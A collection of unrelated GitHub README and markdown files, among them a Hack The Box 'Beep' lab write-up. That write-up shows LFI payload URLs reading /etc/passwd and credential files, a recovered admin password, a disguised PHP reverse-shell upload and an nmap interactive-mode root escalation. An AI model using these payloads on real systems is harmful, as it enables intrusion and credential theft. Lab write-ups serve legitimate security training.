text:
<img src="https://user-images.githubusercontent.com/79646/36270991-42e8d440-124b-11e8-9bd6-17cfc02b77fa.png" alt="SchedEx" width="300"/>

[![Build Status](https://github.com/SchedEx/SchedEx/workflows/Elixir%20CI/badge.svg)](https://github.com/SchedEx/SchedEx/actions)
[![Module Version](https://img.shields.io/hexpm/v/sched_ex.svg)](https://hex.pm/packages/sched_ex)
[![Hex Docs](https://img.shields.io/badge/hex-docs-lightgreen.svg)](https://hexdocs.pm/sched_ex/)
[![Total Download](https://img.shields.io/hexpm/dt/sched_ex.svg)](https://hex.pm/packages/sched_ex)
[![License](https://img.shields.io/hexpm/l/sched_ex.svg)](https://github.com/SchedEx/SchedEx/blob/master/LICENSE.md)
[![Last Updated](https://img.shields.io/github/last-commit/SchedEx/SchedEx.svg)](https://github.com/SchedEx/SchedEx/commits/master)

SchedEx is a simple yet deceptively powerful scheduling library for Elixir. Though it is almost trivially simple by
design, it enables a number of very powerful use cases to be accomplished with very little effort.

SchedEx is written by [Mat Trudel](http://github.com/mtrudel), and development is generously supported by the fine folks
at [FunnelCloud](http://funnelcloud.io).

For usage details, please refer to the [documentation](https://hexdocs.pm/sched_ex).

## Basic Usage

In most contexts `SchedEx.run_every` is the function most commonly used. There are two typical use cases:

### Static Configuration

This approach is useful when you want SchedEx to manage jobs whose configuration is static. At FunnelCloud, we use this
approach to run things like our hourly reports, cleanup tasks and such.  Typically, you will start jobs inside your
`application.ex` file:

```elixir
defmodule Example.Application do
  use Application

  def start(_type, _args) do
    children = [
      # Call Runner.do_frequent/0 every five minutes
      %{ id: "frequent", start: {SchedEx, :run_every, [Example.Runner, :do_frequent, [], "*/5 * * * *"]} },

      # Call Runner.do_daily/0 at 1:01 UTC every day
      %{ id: "daily", start: {SchedEx, :run_every, [Example.Runner, :do_daily, [], "1 1 * * *"]} },

      # You can also pass a function instead of an m,f,a:
      %{ id: "hourly", start: {SchedEx, :run_every, [fn -> IO.puts "It is the top of the hour" end, "0 * * * *"]} }
    ]

    opts = [strategy: :one_for_one, name: Example.Supervisor]
    Supervisor.start_link(children, opts)
  end
end
```

This will cause the corresponding methods to be run according to the specified crontab entries. If the jobs crash they
also take down the SchedEx process which ran them (SchedEx does not provide supervision by design). Your application's
Supervisor will then restart the relevant SchedEx process, which will continue to run according to its crontab entry.

### Dynamically Scheduled Tasks

SchedEx is especially suited to running tasks which run on a schedule and may be dynamically configured by the user.
For example, at FunnelCloud we have a `ScheduledTask` Ecto schema with a string field called `crontab`. At startup our
`scheduled_task` application reads entries from this table, determines the `module, function, argument` which
should be invoked when the task comes due, and adds a SchedEx job to a supervisor:

```elixir
def start_scheduled_tasks(sup, scheduled_tasks) do
  scheduled_tasks
  |> Enum.map(&child_spec_for_scheduled_task/1)
  |> Enum.map(&(DynamicSupervisor.start_child(sup, &1)))
end

defp child_spec_for_scheduled_task(%ScheduledTask{id: id, crontab: crontab} = task) do
  %{id: "scheduled-task-#{id}", start: {SchedEx, :run_every, mfa_for_task(task) ++ [crontab]}}
end

defp mfa_for_task(task) do
  # Logic that returns the [m, f, a] that should be invoked when task comes due
  [IO, :puts, ["Hello, scheduled task: #{inspect task}"]]
end
```

This will start one SchedEx process per `ScheduledTask`, all supervised within a `DynamicSupervisor`. If either SchedEx or
the invoked function crashes `DynamicSupervisor` will restart it, making this approach robust to failures anywhere in the
application. Note that the above is somewhat simplified - in production we have some additional logic to handle
starting / stopping / reloading tasks on user change.

You can optionally pass a name to the task that would allow you to lookup the task later with Registry or gproc and remove it like so:

```elixir
child_spec = %{
  id: "scheduled-task-#{id}",
  start:
    {SchedEx, :run_every,
     mfa_for_task(task) ++
       [crontab, [name: {:via, Registry, {RegistryName, "scheduled-task-#{id}"}}]]}
}

def get_scheduled_item(id) do
  #ie. "scheduled-task-1"
  list = Registry.lookup(RegistryName, id)

  if length(list) > 0 do
    {pid, _} = hd(list)
    {:ok, pid}
  else
    {:error, "does not exist"}
  end
end

def cancel_scheduled_item(id) do
  with {:ok, pid} <- get_scheduled_item(id) do
    DynamicSupervisor.terminate_child(DSName, pid)
  end
end
```

Then in your children in application.ex
```elixir
{Registry, keys: :unique, name: RegistryName},
{DynamicSupervisor, strategy: :one_for_one, name: DSName},
```

## Other Functions

In addition to `SchedEx.run_every`, SchedEx provides two other methods which serve to schedule jobs; `SchedEx.run_at`,
and `SchedEx.run_in`. As the names suggest, `SchedEx.run_at` takes a `DateTime` struct which indicates the time at which
the job should be executed, and `SchedEx.run_in` takes a duration in integer milliseconds from the time the function is
called at which to execute the job. Similarly to `SchedEx.run_every`, these functions both come in `module, function,
argument` and `fn` form.

The above functions have the same return values as standard `start_link` functions (`{:ok, pid}` on success, `{:error,
error}` on error). The returned pid can be passed to `SchedEx.cancel` to cancel any further invocations of the job.

## Crontab details

SchedEx uses the [crontab](https://github.com/jshmrtn/crontab) library to parse crontab strings. If it is unable to
parse the given crontab string, an error is returned from the `SchedEx.run_every` call and no jobs are scheduled.

Building on the support provided by the crontab library, SchedEx supports *extended* crontabs. Such crontabs have
7 segments instead of the usual 5; one is added to the beginning of the crontab and expresses a seconds value, and one
added to the end expresses a year value. As such, it's possible to specify a unique instant down to the second, for
example:

```elixir
50 59 23 31 12 * 1999     # You'd better be getting ready to party
```

Jobs scheduled via `SchedEx.run_every` are implicitly recurring; they continue to to execute according to the crontab
until `SchedEx.cancel/1` is called or the original calling process terminates. If job execution takes longer than the
scheduling interval, the job is requeued at the next matching interval (for example, if a job set to run every minute
(crontab `* * * * *`) takes 61 seconds to run at minute `x` it will not run at minute `x+1` and will next run at minute
`x+2`).

## Testing

SchedEx has a feature called *TimeScales* which help provide a performant and high parity environment for testing
scheduled code. When invoking `SchedEx.run_every` or `SchedEx.run_in`, you can pass an optional `time_scale` parameter
which allows you to change the speed at which time runs within SchedEx. This allows you to run an entire day (or longer)
worth of scheduling time in a much shorter amount of real time. For example:

```elixir
defmodule ExampleTest do
  use ExUnit.Case

  defmodule AgentHelper do
    def set(agent, value) do
      Agent.update(agent, fn _ -> value end)
    end

    def get(agent) do
      Agent.get(agent, & &1)
    end
  end

  defmodule TestTimeScale do
    def now(_) do
      DateTime.utc_now()
    end

    def speedup do
      86400
    end
  end

  test "updates the agent at 10am every morning" do
    {:ok, agent} = start_supervised({Agent, fn -> nil end})

    SchedEx.run_every(AgentHelper, :set, [agent, :sched_ex_scheduled_time], "* 10 * * *", time_scale: TestTimeScale)

    # Let SchedEx run through a day's worth of scheduling time
    Process.sleep(1000)

    expected_time = Timex.now() |> Timex.beginning_of_day() |> Timex.shift(hours: 34)
    assert DateTime.diff(AgentHelper.get(agent), expected_time) == 0
  end
end
```

will run through an entire day's worth of scheduling time in one second, and allows us to test against the expectations
of the called function quickly, while maintaining near-perfect parity with development. The only thing that changes in
the test environment is the passing of a `time_scale`; all other code is exactly as it is in production.

Note that in the above test, the atom `:sched_ex_scheduled_time` is passed as a value in the argument array. This atom
is treated specially by SchedEx, and is replaced by the scheduled invocation time for which the function is being
called.

## Installation

SchedEx can be installed by adding `:sched_ex` to your list of dependencies in `mix.exs`:

```elixir
def deps do
  [
    {:sched_ex, "~> 1.0"}
  ]
end
```

## Copyright and License

Copyright (c) 2018 Mat Trudel on behalf of FunnelCloud Inc.

This work is free. You can redistribute it and/or modify it under the
terms of the MIT License. See the [LICENSE.md](./LICENSE.md) file for more details.

repository: SchedEx/SchedEx

gha_language: Elixir

repo_name: SchedEx/SchedEx


text:
# EQpredictionWithRFandSR
EarthQuake Prediction with Random Forests and Schumann Resonance

To run the R code you will need:

1. A working installation of >R3.0
2. packages 'tseries','nnet','xtable','pracma','matrixStats','e1071','ROCR','verification','randomForest' in R installed

The runs have been checked in a windows 64 machine with R3.2.4revised 64bit and R4.0.2 64bit (latest as of September 20, 2020).

## (>4 Richter) EQ in next 48h in a window of +/- 3 degrees from Measurement Station

Put

```
a) Script_Monte_AnalysisSep16toFeb18Deeper_tune.R  (R main)
b) functions_Monte_AnalysisSep16toFeb18Deeper_tune.R (R functions)
c) all the provided input files of type *.txt

```
in same directory

Run Script_Monte_AnalysisSep16toFeb18Deeper_tune.R in R or RStudio
The script takes a few minutes to run.

In the current directory many files are produced.

The final result is the skill score statistics vector: Accuracy (ACC), True Skill Statistic (TSS) and Heidke Skill Score (HSS), for all methods which is also produced as a latex file, and displayed at the console tab window of R or RStudio with latex code.

Also, figures are produced for all five methods validated.

The methods are
```
0: Neural network
1: Linear regression
2: Probit regression
3: Logit regression
4: Random forest
5: Support vector Machine
```
Focus is only on method 4: Random Forest which is the one discussed in the paper.
Runs in the paper are done with R3.2.4revised 64bit.
Runs have been also made with latest R4.0.2 64bit.
For reference, in the paper the former results are presented. They differ very slightly due to R's lack of backward compatibility.
It might just be an issue of different random number generators used between R3.2.4revised and R4.0.2.

## Reference
Florios, K., Contopoulos, I., Tatsis, G., Christofilakis, V., Chronopoulos, S., Repapis, C and Tritakis, V., Possible Earthquake Forecasting in a narrow Space-Time-Magnitude Window, submitted, 2020

license: MIT

repository: kflorios/EQpredictionWithRFandSR

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: kflorios/EQpredictionWithRFandSR


text:
---
layout: post
title: "Custom SASS Directory With Sinatra"
date: 2013-07-10 03:34
comments: true
categories: ruby sinatra slim
---

A few days ago I started using [sass](http://sass-lang.com) on my [sinatra](http://sinatrarb.com) web project. Instead of variable, mixin features, it's also the best solution to save my time in developing on boring css coding.
<!-- more -->
To use this stuff, i should ensure that i require this gem at top of my application file, and then i have to create a route handler for it. Simple, isn't it?

```[ruby] [main.rb]
require 'sass'

get('/styles.css'){ scss :styles }
```
With all of this simplicity, i still dont satisfied yet with the default folder, each time i have to put the sass on views directory, what a mess!

Finally, i find a solution to make my own custom directiory, i just need to set up the sass directory on the main app file, in this case i wanted to put the sass file on scss directory, and it will be below :

```[ruby] [main.rb]
set :views, :scss => 'views/sass/', :default => 'views'
helpers do
	def find_template(views, name, engine, &block)
		_, folder = views.detect { |k,v| engine == Tilt[k] }
		folder ||= views[:default]
		super(folder, name, engine, &block)
	end
end
get '/css/styles.css' do
	scss :styles
end
```

with tree structure

```bash
├── main.rb
└── views
    ├── main.slim
    └── sass
        └── styles.scss

2 directories, 3 files

```
when i run it, everything is doing pretty well, and i love it so much

If you want to see the result file, just feel free to open this [link](https://github.com/muslih/sinatra-custom-sass-directory)

repository: muslih/octoblog

extension: markdown

repo_name: muslih/octoblog


text:
---
title: Introduction to GraphQL
sidebarTitle: Introduction
layout: docs
category: Learn
permalink: /learn/
next: /learn/queries/
---

> Learn about GraphQL, how it works, and how to use it. Looking for documentation on how to build a GraphQL service?
> There are libraries to help you implement GraphQL in [many different languages](/code/). For an in-depth learning experience
> with practical tutorials, see [How to GraphQL](https://www.howtographql.com). Check out the
> free online course,
> [Exploring GraphQL: A Query Language for APIs](https://www.edx.org/course/exploring-graphql-a-query-language-for-apis).

GraphQL is a query language for your API, and a server-side runtime for executing queries using a type system you define for your
data. GraphQL isn't tied to any specific database or storage engine and is instead backed by your existing code and data.

A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type.
For example, a GraphQL service that tells you who the logged in user is (`me`) as well as that user's name might look
like this:

```graphql
type Query {
  me: User
}

type User {
  id: ID
  name: String
}
```

Along with functions for each field on each type:

```js
function Query_me(request) {
  return request.auth.user
}

function User_name(user) {
  return user.getName()
}
```

After a GraphQL service is running (typically at a URL on a web service), it can receive GraphQL queries to validate and execute.
The service first checks a query to ensure it only refers to the types and fields defined, and then runs the provided functions
to produce a result.

For example, the query:

```graphql
{
  me {
    name
  }
}
```

Could produce the following JSON result:

```json
{
  "me": {
    "name": "Luke Skywalker"
  }
}
```

To learn more, click **Continue Reading**.

branch_name: refs/heads/source

gha_language: TypeScript

gha_license_id: MIT


text:
# Ansible - Jupyter
Setup a Jupyter notebook on any server within a miniconda environment

Ansible is an IT automation tool. It can configure systems, deploy software, and orchestrate more advanced IT tasks such as continuous deployments or zero downtime rolling updates [(Redhat, 2019)][1]. This repository contains an Ansible playbook to setup a public serving Jupyter notebook within a miniconda environment. Miniconda provides (similar to virtualenv) a controlled Python environment. See `environment.yml` for the installed Python dependencies.

## Setup
1) Generate password for the Notebook server using `from notebook.auth import passwd; passwd()`. This should have the form of type:salt:hashed-password.
1) Create vault from `group_vars/all/main.yml`
  ```bash
  # Copy group_vars file
  cp group_vars/all/main.yml group_vars/all/vault.yml

  # Edit new group_vars file
  nano group_vars/all/vault.yml

  # Encrypt new group_vars file
  ansible-vault encrypt group_vars/all/vault.yml
  ```
1) (Optional) Save vault secret to `VAULT_SECRET` in the root of this repository. It is git ignored, and you won't have to type it again.
1) Adjust `hosts.yml` with your target public IPs
1) Run `./run-playbook`

The notebook server is implemented as systemd service. If you ever require to view the logging, run `journalctl -eu jupyter.service`.

[1]: https://docs.ansible.com/ansible/latest/index.html

repository: yorickvanzweeden/ansible-jupyter

repo_name: yorickvanzweeden/ansible-jupyter


text:
# For DIY lovers

Although this website is planned to help people making a blueprint of DIY stuff for DIY lovers, it is still very much in its early stage. I used to work on this project in my free time but I have not had that much time for the last few years and I do not think I can keep working on it so I decided to make this project public and leave it on GitHub.

![Screen Shot 1](diy1.jpg)

![Screen Shot 2](diy2.jpg)

## Installation

Get node modules with [diy/src/package.json](./src/package.json). Also I use webpack to bundle client side JavaScript code, see [diy/src/build/webpack.conf.js](./src/build/webpack.conf.js).

## Launch the website

Run the following command.

```bash
node diy/src/bin/www
```
Then, access `http://localhost:3000/index`.

## Features

* Select an item - Left Mouse Click
* Select multiple items - Drag Left Mouse
* Select each item - Left Mouse Click with Control
* Rotate a camera - Drag Right Mouse
* Zoom - Middle Mouse
* Move Left/Right a camera - Middle Mouse with Control
* Move Up/Down a camera - Middle Mouse with Shift
* Add items - Click an add button in a left pane after selecting size and length
* Select an item via a right pane list
* Move an item along its axis - Select an item and hold one of its cone and drag it
* Rotate an item along its axis - Select an item and hold one of its cone and drag it with holding shift

## Description

I use [lightgl.js](./src/vuejs/lib/lightgl.js) to handle low level WebGL stuff. Also lightgl.js supports Constructive Solid Geometry (CSG), see [csg.js](./src/vuejs/lib/csg.js).

## License
[MIT](https://choosealicense.com/licenses/mit/)

repository: yooontheearth/diy

branch_name: refs/heads/main

repo_name: yooontheearth/diy


text:
## The `plink` options I often used

- Don't forget `--species=cow`, for example, for animal breeders.

### Convert `ped + map` $\to$ `bed`

```bash
--recode --make-bed --ped $ped --map $map --out $out
```

### The I/O `bed` dataset

```bash
--bfile $src			# In dataset
--make-bed --out $out		# Out dataset
```

- I will ignore these below.

### Extract a subset of SNP
```bash
--extract $snp			# snp is the file contains SNP names.
```

### Missing allele statistics

```bash
--chr $chr --missing		# chr can be, e.g., `1-29`.
```

### MAF statistics

```bash
--nonfounders --freq		# --nonfounders is to include everybody.
```

### Hardy-Weinberg test

```bash
--chr $chr --hardy
```

### Merge several `plink` datasets

```bash
--merge-list $list		# list is the file name contains plink dataset name stems
```

### Convert to VCF

```bash
--recode vcf-iid bgz		# vcf-iid is to ignore family info;  bgz is to save to `.gz`
```

### VCF to plink

```bash
--vcf $src
```

### Convert to `map+ped`

```bash
--recode
```

### QC

```bash
--geno $geno			# 0.1
--maf $maf			# 0.01
--hwe $hwe			# 1e-4
--mind $mind			# 0.1
```

### ID subset

```bash
--keep $list			# file list has two columns: family ID
```

### Convert to 012 genotypes

```bash
--recode A
```


text:
---
title: Beep
author: fieldraccoon
date: 2020-06-24
categories: [hack-the-box, linux]
tags: [hack-the-box, easy, metasploit, burpsuite, lfi,]
math: true
---

# BEEP

Beep was an easy linux box that requried an interesting LFI exploit to read the user flag which lead to another lfi to read a file containing creds. There was multiple methodds for root including a simple ssh as root or spawning a reverse shell on the system and privelege escalating to root via sudo -l and exploiting nmap
> Nmap

```shell
root@kali:~/boxes/beep/# nmap -sS -A <IP_ADDRESS>

Starting Nmap 7.50 ( https://nmap.org ) at 2018-03-03 04:36 EST
Nmap scan report for <IP_ADDRESS>
Host is up (0.16s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://<IP_ADDRESS>/
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 742/udp status
|_ 100024 1 745/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed OK ATOMIC URLAUTHA0001 RIGHTS=kxte IMAP4rev1 THREAD=ORDEREDSUBJECT LITERAL+ ANNOTATEMORE LIST-SUBSCRIBED CONDSTORE UIDPLUS CATENATE BINARY MAILBOX-REFERRALS LISTEXT IDLE RENAME ID IMAP4 QUOTA X-NETSCAPE THREAD=REFERENCES SORT=MODSEQ SORT CHILDREN NAMESPACE MULTIAPPEND STARTTLS NO ACL UNSELECT
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Elastix - Login page
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2018-03-03T09:21:37+00:00; -19m56s from scanner time.
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4445/tcp open upnotifyp?
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint:
OS:SCAN(V=7.50%E=4%D=3/3%OT=22%CT=1%CU=41868%PV=Y%DS=2%DC=T%G=Y%TM=5A9A6E1C
OS:%P=i686-pc-linux-gnu)SEQ(SP=CB%GCD=2%ISR=CD%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=C
OS:B%GCD=1%ISR=CC%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DN
OS:NT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=16A0%W2=16A0%W3
OS:=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M54DNNSNW7%CC=N
OS:%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A
OS:0%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y
OS:%DFI=N%T=40%CD=S)
```
Our nmap scan shows alot of information but we narrow down and try to take away the important details.

On port `80` the service `elastix` is running. It is just simply a login page for what should be htb elastix service which we will need to exploit later.

We run a gobuster scan in dir mode to check for hidden directories to help our enumeration.

```shell
root@kali:~/Desktop# gobuster -e -u https://<IP_ADDRESS>/ -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://<IP_ADDRESS>/
[+] Threads : 500
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Expanded : true
=====================================================
https://<IP_ADDRESS>/help (Status: 301)
https://<IP_ADDRESS>/modules (Status: 301)
https://<IP_ADDRESS>/themes (Status: 301)
https://<IP_ADDRESS>/lang (Status: 301)
https://<IP_ADDRESS>/static (Status: 301)
https://<IP_ADDRESS>/admin (Status: 301)
https://<IP_ADDRESS>/images (Status: 301)
https://<IP_ADDRESS>/var (Status: 301)
https://<IP_ADDRESS>/mail (Status: 301)
https://<IP_ADDRESS>/panel (Status: 301)
https://<IP_ADDRESS>/libs (Status: 301)
https://<IP_ADDRESS>/recordings (Status: 301)
https://<IP_ADDRESS>/configs (Status: 301)
https://<IP_ADDRESS>/vtigercrm (Status: 301)
```

We take a look at the `/vtingercrm` we can see that its running the `vtingercrm` service.

We search for epxloits and comme accross one on exploit-db that shows that it is an LFI and we can read the user flag an any other file with permissions for read access from the user.

> Links [https://www.exploit-db.com/exploits/18770](https://www.exploit-db.com/exploits/18770)

We use this and carry out a few commands like this:

```shell
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00
```

With this we can read the` /etc/passwd` file and it shows a user called `fanis` from here we can change the file name to try and raed the user flag.
```shell
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.ph
p?module_name=../../../../../../../../home/fanis/user.txt%00

And we get user on the box!

# ROOT
Now using the second LIF that we found on exploit db [https://www.exploit-db.com/exploits/37637](https://www.exploit-db.com/exploits/37637)
```shell
#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```

We do this and we read the creds for the administrator for the vtigercrm service

```Username = admin
Password = jEhdIekWmdjE
```
From here we can simply ssh as root into the box and read the root flag. This is the first method.

I wont cover the rest fully i was do a quick brief.

For root 1 method you can login into vtiger with the creds and navigating around the website you will find an upload section where you can upload a jpg file. We can upload a php reverse shell aslong as we name it shell.php.jpg and we can change the contents in burpsuite to change the needs required, from here we set up a listener and we get a shell.

Note meastploit can also be used with a payload and a listener

For the priv esc we run `sudo -l` shows us that we can run nmap as root. We simply run `sudo nmap --interactive` to spawn a shell with interactive mode on nmap.

Thanks for reading hpoe you enjoyed.

gha_language: SCSS


text:
# CNPM_G9
# Cinema ticket sales management

Participants:

- Leader: Trương Văn Sỹ 18521698
- Member: Phạm Trung Hiếu 19521511
- Member: Đậu Đình Huy 19521602
- Member: Nguyễn Thanh Lộc 19521763

Task management table: [Here](https://trello.com/b/No7gkNti/cnpmg9)

UI / UX prototype: here [Replace by your public prototype later]

Tech stacks:

- Front-end: ReactJS
- Back-end: NodeJS
- Database: Mongoose
- ...

Demo online: [link to website - update later]


text:
# zone2

lazy api for starting mplayer on raspberry pi driving zone 2 on an audio receiver

## requirements
python
```
pip install flask flask_restful psutil
```
mplayer
```
apt-get install mplayer
```
## stations
extract from radio webpage and adding streaming url to stations.py. mplayer doesnt like https, so make sure to use http.
```
callsigns = {
'stop': 'mplayer',
'live105': 'http://playerservices.streamtheworld.com/api/livestream-redirect/KITSFM_TLRAAC.aac',
'krty953': 'http://live.wostreaming.net/direct/empirebroadcasting-krtyfmaac-ibc1'
}

```
## usage
to start a stream, specify key name in url `http://<IP_ADDRESS>/zone2/<key>`
```
curl http://<IP_ADDRESS>/zone2/live105
{"live105": "http://playerservices.streamtheworld.com/api/livestream-redirect/KITSFM_TLRAAC.aac"}
```
to stop the stream, specify `stop` for the key name.
```
curl http://<IP_ADDRESS>/zone2/stop
{"stop": "mplayer"}
```

## license
[MIT](https://choosealicense.com/licenses/mit/)


text:
# Pronouncing the Xs

`Conditions` `Formatting` `Strings`

[View on Edabit](https://edabit.com/challenge/mH6Ny8eH6AStdzzyS)

Create a function which replaces all the x's in the string in the following ways:

Replace all x's with "cks" **UNLESS**:

- The word begins with "x", therefore replace it with "z".
- The word is just the letter "x", therefore replace it with "ecks".

### Examples

```js
xPronounce("Inside the box was a xylophone") ➞ "Inside the bocks was a zylophone"

xPronounce("The x ray is excellent") ➞ "The ecks ray is eckscellent"

xPronounce("OMG x box unboxing video x D") ➞ "OMG ecks bocks unbocksing video ecks D"
```

### Notes

- All x's are lowercase.
- I know that not all words with x's follow this rule, but there are too many edge cases to count!

repository: Pustur/edabit-js-challenges

path: /src/Pronouncing the Xs/README.md

gha_language: JavaScript

repo_name: Pustur/edabit-js-challenges


text:
# Managed RonDB
For applications where Feature Store's performance and scalability is paramount we give users the option to create clusters with
Managed [RonDB](https://www.rondb.com/). You don't need to worry about configuration as [hopsworks.ai](https://managed.hopsworks.ai/) will
automatically pick the best options for your setup.

## Enabling RonDB
To setup a cluster with RonDB, click on the `Enable` checkbox during cluster creation. If you don't see this option contact [us](mailto: sales@logicalclocks.com).

Enable Managed RonDB

## Node selection
If you enable Managed RonDB you will see a basic configuration page where you can configure the database nodes.

RonDB basic configuration

First, you need to select the number of *Data nodes*. These are the database nodes that will store data. The number
of Datanodes is dependent on the [number of replicas](#number-of-replicas). For most applications 2 Datanodes will suffice with
memory optimized instance type. Local storage is not very important as RonDB is an in-memory database but it has to be
big enough for offline storage of recovery data.

Next you can configure the number of MySQLd nodes. If you have a specific use-case where you expect high load on MySQL servers,
such as a custom streaming application performing SQL queries in short interval, then you can add more. In a general use-case
you can go with zero, cluster's Head node already comes with a MySQL server.

## Advanced
In this section you can change advanced settings of RonDB. Proceed **only** if you know what you are doing.

RonDB advanced configuration

### Number of replicas
RonDB is a distributed in-memory database. To provide high-availability RonDB replicates data on different node groups. The
default number of replicas is 2 which covers most of the cases. If you change this value, you must change the number of
*Datanodes* accordingly. The number of Datanodes configured in the `Basic` tab should be evenly divisible by the numer of replicas.

### API nodes
API nodes are specialized nodes which can run user code connecting directly to RonDB datanodes for increased performance.

One use-case which might be interesting is to *benchmark* RonDB. In that case you will need at least one API node and you must
select the checkbox which **grants access** to a benchmark user to specific tables in MySQL.

## RonDB details
Once the cluster is created you can view some details by clicking on the `RonDB` tab as shown in the picture below.

RonDB cluster details

repository: rfan-debug/feature-store-api

repo_name: rfan-debug/feature-store-api


text:
---
redirect_from:
    - /fr/
    - /fr/documentation/configuration.html
    - /fr/documentation/installation/index.html
    - /fr/documentation/contribuer.html
    - /fr/documentation/modules/index.html
    - /fr/documentation/installation/avancee.html
layout: welcome
title: Welcome
meta:
    description: Thelia is an open source tool for creating e-business websites and managing online content. Learn to use it with this documentation.
sidebar: welcome
lang: en
welcome :
    lead: Thelia is an open source tool for creating e-business websites and managing online content. This software is published under LGPL.
    text:

              Here is the documentation for the current major version of Thelia.

            The last major version of Thelia today is the version 2.3.4, you can download it here

            To know what's coming on the next version, read our Roadmap

    demo: Try demo
    sources: View sources
---

Getting Started

## Installation
Learn [how to install your Thelia 2](/en/documentation/installation/index.html) quickly to take advantage of all its features

## Modules
You can [develop modules](/en/documentation/modules/index.html) for extending Thelia functionalities.

## Form
With Thelia 2, [form management](/en/documentation/form/index.html) is completely new. Each form has a dedicated class allowing to control many things like validation, default values, etc.

## Loop
Loops are the most convenient feature in Thelia for front developers. Learn to create your own [here](/en/documentation/loop/index.html).

gha_language: HTML


text:
elm-markov
==========

Markov chain library for Elm (see [demo](http://janiczek.github.io/elm-markov/))

## What is this about?

A [Markov chain](https://en.wikipedia.org/wiki/Markov_chain) can be described as a state machine going from a state to a state with some given probability.

You might have seen bots on Twitter saying random stuff - these are usually fed some text, learning the probability of eg. word "hi" being followed by the word "there". When a bot wants to generate a witty status, it starts somewhere in its state space and just walks randomly according to the probabilities.

Example might be:

```
Hello, how are you?
Did you sleep well?
Are you sure you don't need anything?
```

According to some rules (throw away punctuation, lowercase everything, ...) you parse it into:

```
anything -> ?        (100%)
are      -> you      (100%)
did      -> you      (100%)
don't    -> need     (100%)
hello    -> how      (100%)
how      -> are      (100%)
need     -> anything (100%)
sleep    -> well     (100%)
sure     -> you      (100%)
well     -> ?        (100%)
you      -> ?        ( 25%)
you      -> don't    ( 25%)
you      -> sleep    ( 25%)
you      -> sure     ( 25%)
```

Apparently all the fun will revolve around the word `you`, and if we get to `?`, we end. Let's try to generate something!

```
Did you sure you sure you don't need anything?
Are you sure you sure you sure you sure you sure you don't need anything?
Are you sure you sleep well?
Are you sure you sure you sure you sure you sleep well?
```

Maybe it's trying to give us a hint.

## How does this library help?

It will allow you to:

* parse text from a string into the state machine (customizable)
* generate a text given the state

## TODO

- various utilities for parsing `String`s into an input list
- transitions of order > 1 (Markov chain of order `n` depends on past `n` states)

repository: Janiczek/elm-markov

repo_name: Janiczek/elm-markov


text:
# StreamGraph language

The StreamGraph language is a small language that will be used to represent the stream graph. It will later be converted to a bash script that includes the core of the StreamGraph language, together with the graph setup.

These notes are as much about the language itself as they are about the entire concept of creating a stream graph.

## Nodes and Edges

